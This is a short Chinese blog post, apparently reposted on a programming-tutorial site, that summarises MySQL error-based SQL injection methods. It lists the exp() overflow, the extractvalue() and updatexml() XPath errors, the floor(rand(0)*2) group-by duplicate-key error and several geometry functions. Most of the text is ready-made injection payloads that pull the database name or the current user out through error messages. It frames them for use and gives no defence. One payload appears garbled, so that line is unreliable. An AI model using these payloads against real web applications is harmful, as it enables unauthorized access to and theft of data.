sql的报错注入总结

2021/8/30 19:06:31

本文主要是介绍sql的报错注入总结,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.数据溢出

2.xpath语法错误

3.concat+rand()+group by 主键重复报错

4.几何函数

 

1.数据

exp()函数:此函数返回e(自然对数的底)指数X的幂值  ,select 查询成功返回0, ~0=1111111111111111

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

2.xpath语法错误

这个呢主要有两个函数

extractvalue()和updatexml()

主要利用方式为

' and (select extractvalue(1,concat('~',(select database()))))--+

' and (select updatexml(1,concat('~',(select database())),1))--+

这里的~可以换成$或其他特殊字符

3.concat+rand()+group by 主键重复报错

具体原理参照我的另一篇博客

主要利用方式为

' union select 1 from (select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x)a--+

4.几何函数

GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp()

利用方法比较统一

' and multilinestring((select from (select from (select user())a)b))--+

但是这部分函数低版本的数据库没有办法使用



这篇关于sql的报错注入总结的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程